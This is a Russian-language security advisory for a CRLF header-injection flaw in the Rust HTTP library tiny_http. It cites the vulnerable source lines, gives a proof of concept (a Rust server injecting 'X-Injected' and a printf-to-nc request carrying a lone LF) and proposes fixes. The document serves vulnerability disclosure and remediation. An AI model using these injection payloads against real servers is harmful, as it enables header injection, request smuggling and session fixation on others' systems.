
Уведомление о безопасности: инъекция в HTTP-заголовки через непроверенные символы CR и LF в значениях заголовков (tiny_http)
Присвоенный идентификатор CVE: CVE-2026-66753
tiny_http не отклоняет символы возврата каретки (CR) и перевода строки (LF) внутри значений HTTP-заголовков в обоих направлениях.
На стороне запроса read_next_line завершает строку заголовка только на CRLF, поэтому одиночный LF сохраняется внутри разобранного значения и доходит до приложения. На стороне ответа Header::from_bytes проверяет только то, что байты являются ASCII, а модуль записи ответа выводит значения без изменений, поэтому значение, содержащее CRLF, разделяет ответ.
Поэтому приложения, которые отражают значение заголовка запроса в заголовке ответа или повторно сериализуют заголовки запроса на другое соединение, наследуют примитив внедрения без каких-либо признаков того, что что-то не так.
URL репозитория: https://github.com/tiny-http/tiny-http
| Затронуты | все выпущенные версии вплоть до 0.12.0 включительно (2022-10-06), текущий релиз |
| Подтверждено | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
| Исправлено в | на момент написания исправленной версии нет |
Это отличается от RUSTSEC-2020-0031 / CVE-2020-35884, который касался разбора Transfer-Encoding и был исправлен в версиях 0.6.3 и 0.8.0. Описанное здесь поведение присутствует как до, так и после этого исправления.
CWE-113 (Некорректная нейтрализация CRLF-последовательностей в HTTP-заголовках), частный случай CWE-93 (CRLF-инъекция).
Базовый балл CVSS 4.0: 6.3 (средний)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
Удалённый неаутентифицированный клиент, отправляющий необработанный HTTP на любой сервер tiny_http. Без учётных данных и взаимодействия с пользователем.
Два типа потребителей превращают это в уязвимость:
Приложения, которые копируют значение заголовка запроса в заголовок ответа. Это паттерн отражения, лежащий в основе повторения источника CORS, заголовков Location, создаваемых из данных запроса, и обработки cookie. Одиночный LF в значении запроса попадает в ответ, и если приложение само формирует значение ответа, оно может содержать полный CRLF.
Приложения, которые повторно сериализуют заголовки запроса на другое соединение, например обратный прокси. Одиночный LF записывается в вышестоящий запрос, и бэкенды, которые рассматривают одиночный LF как признак конца строки заголовка, читают один запрос как два. RFC 9112, раздел 2.2, разрешает получателям делать это, поэтому такие бэкенды находятся в рамках спецификации. Было проверено, что и Go net/http, и Python http.server принимают это.
tiny_http-0.12.0/src/client.rs, строки 80–102. Цикл завершается только тогда, когда перед LF находится CR. Любой другой байт, включая одиночный LF или одиночный CR, помещается в буфер строки в строке 100:
84 loop {
85 let byte = self.next_header_source.by_ref().bytes().next();
...
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
101 }
LF — это 0x0A, а CR — 0x0D, оба являются допустимым ASCII, поэтому AsciiString::from_ascii в строке 94 принимает их.
Затем tiny_http-0.12.0/src/common.rs, строки 184–191, только обрезает значение. trim удаляет начальные и конечные пробелы, но оставляет внутренние байты нетронутыми:
184 fn from_str(input: &str) -> Result<Header, ()> {
185 let mut elems = input.splitn(2, ':');
186
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
Пара CRLF не может сохраниться, поскольку она завершает строку, а вот одиночный LF, одиночный CR и последовательности вида \n\r сохраниться могут.
tiny_http-0.12.0/src/common.rs, строки 166–172, проверяет только ASCII:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
tiny_http-0.12.0/src/response.rs, строки 99–104, записывает значение без экранирования:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Обратите внимание: HeaderField::from_str в строке 226 отклоняет пробелы в имени поля, а HeaderField::from_bytes в строке 171 — нет, поэтому имена заголовков ответа также не проверяются.
Шаг 1. Запустите сервер, который выводит разобранное значение заголовка запроса и вставляет значение, содержащее CRLF, в заголовок ответа.
use tiny_http::{Header, Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8004").unwrap();
for request in server.incoming_requests() {
for h in request.headers() {
if h.field.equiv("X-Test") {
println!("parsed X-Test value = {:?}", h.value.as_str());
}
}
let evil = "a\r\nX-Injected: yes";
let mut resp = Response::from_string("body");
resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
let _ = request.respond(resp);
}
}
Шаг 2. Отправьте запрос, значение X-Test которого содержит одиночный LF. В команде ниже \n — один перевод строки, а \r\n — CRLF. Различие — в этом суть теста, поэтому не позволяйте редактору нормализовать его.
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004
Результат в stdout. LF всё ещё находится внутри разобранного значения:
parsed X-Test value = "aaa\nbbb"
Результат в сетевом трафике. Заголовок ответа разделился на два:
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4
body
Сам по себе tiny_http не перенаправляет заголовки запроса, поэтому поведение на стороне запроса — это латентный примитив, а не прямое нарушение безопасности. Оно становится эксплуатируемым в любом потребителе, который пересылает или отражает значения заголовков, где приводит к контрабанде запросов через бэкенды, принимающие одиночный LF, или к внедрению заголовков в ответ.
Поведение на стороне ответа напрямую эксплуатируемо в любом приложении, которое помещает текст, контролируемый атакующим, в значение заголовка: внедрение скриптов в контексте источника (origin), отравление кэша, фиксация сессии через внедрённый Set-Cookie и переопределение заголовков безопасности.
Для сравнения, крейт http отклоняет CR и LF в HeaderValue::from_str, поэтому стеки, построенные на нём, не проявляют ни одного из этих поведений.
Отклоняйте управляющие символы на обеих границах.
В read_next_line (src/client.rs, строка 80) обрабатывайте одиночный CR или одиночный LF в строке заголовка как ошибку протокола и возвращайте 400, а не включайте его в значение. Альтернативно отклоняйте их в Header::from_str (src/common.rs, строка 184) после разделения.
В Header::from_bytes (src/common.rs, строка 166) отклоняйте значения, содержащие 0x0D, 0x0A или 0x00, и отклоняйте имена полей, содержащие что-либо вне набора токенов RFC 9110. Возврат Err там уже обрабатывается вызывающим кодом, поскольку сигнатура допускает ошибку.